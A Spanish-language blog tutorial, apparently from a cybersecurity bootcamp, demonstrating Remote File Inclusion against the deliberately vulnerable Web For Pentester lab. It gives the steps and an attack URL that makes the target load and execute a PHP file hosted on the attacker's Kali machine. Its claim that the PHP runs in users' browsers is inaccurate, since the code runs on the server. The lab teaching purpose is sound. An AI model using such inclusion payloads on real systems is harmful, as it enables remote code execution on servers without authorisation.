Tutorial de Remote File Inclusion (RFI)

| Última modificación: 17 de octubre de 2024 | Tiempo de Lectura: 3 minutos

Algunos de nuestros reconocimientos:

Premios KeepCoding

El siguiente tutorial de Remote File Inclusion (RFI) está hecho con fines académicos. El propósito de esta técnica es encontrar fallos de seguridad en aplicaciones web que permiten ejecutar código PHP en el navegador de los usuarios. Sin embargo, se debe hacer siempre de manera autorizada o en un entorno web de práctica, como el que usaremos en el siguiente ejercicio: Web For Pentester.

Web For Pentester es una aplicación web diseñada por PentesterLab que presenta vulnerabilidades deliberadamente, con el fin de que se utilice para practicar ciberataques en ella. Para aprender cómo instalar Web For Pentester, visita el tutorial de nuestro blog.

A continuación, veremos un tutorial de Remote File Inclusion ejecutado en Web For Pentester. Pero antes, hablaremos brevemente sobre en qué consisten las vulnerabilidades de RFI.

Tutorial de Remote File Inclusion

Preparación

  1. Instala una máquina virtual con la última versión de Kali Linux.
  2. Instala la máquina virtual de Web For Pentester, desarrollada por PentesterLab.
  3. Averigua las direcciones IP de ambas máquinas con el comando “ifconfig“.

Ejecución

Para comenzar el ejercicio, abriremos una terminal en Kali Linux e iniciaremos el servicio de apache 2.

service apache2 start

Ahora, pondremos el servidor a la escucha con el comando:

tail -f /var/log/apache2/access.log

Después, en otra terminal, crearemos un archivo de texto llamadotest” en la ruta “/var/www/html” con el comando:

nano /var/www/html/test

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Se abrirá un archivo de texto con el programa GNU nano y, allí, escribiremos nuestro código PHP para este tutorial de Remote File Inclusion.

<?php
phpinfo();
?>

Guardaremos y cerraremos el archivo de texto y, ahora, abrimos el navegador Mozilla Firefox e ingresamos a la dirección IP de la máquina virtual de Web For Pentester. Al hacerlo, veremos lo siguiente en la pantalla:

De todas las opciones, entraremos al enlace de “Example 1” de la sección “File Include“. Luego, entraremos en la siguiente página de este sitio web vulnerable:

Al observar la dirección URL, veremos que el parámetro “page=intro.phppodría ser vulnerable al estar ejecutando un código PHP dentro del navegador. Para probar si la vulnerabilidad de código existe, ingresaremos la dirección de cualquier sitio web dentro del parámetro de la URL de la siguiente manera:

page=http://www.google.com

Ya hemos comprobado que el código fuente de la aplicación está ejecutando código PHP por medio los inputs que hace el usuario en la URL. Es decir, se podría redirigir el navegador a una página web que ejecute un fichero con código PHP como el que hemos creado anteriormente.

Para ello, usaremos un payload diseñado para indicarle al navegador que se conecte a nuestro servidor y acceda al fichero “test” que creamos con el código PHP. En este ejemplo, dicho payload se vería del siguiente modo con la IP de la máquina virtual que utilizamos:

http://192.168.175.129/fileincl/example1.php?page=http://192.168.175.128/test 

Al ejecutar este payload en el navegador, notaremos que se ejecuta correctamente el código PHP que incluimos en el fichero. Es decir, la aplicación interpreta el contenido sin validarlo antes desde su código fuente.

Ya hemos visto este tutorial de Remote File Inclusion en Web For Pentester. Si quieres profundizar y aprender muchas más técnicas de hacking web, ingresa a nuestro Ciberseguridad Full Stack Bootcamp y conviértete en un gran especialista en pocos meses. ¡No sigas esperando para cambiar tu vida! ¡Inscríbete ya!

Carlos Cilleruelo

CEO and co-founder of Byron Labs & Coordinador del Bootcamp en Ciberseguridad.

Posts más leídos

¡CONVOCATORIA ABIERTA!

Ciberseguridad

Full Stack Bootcamp

Clases en Directo | Profesores en Activo | Temario 100% actualizado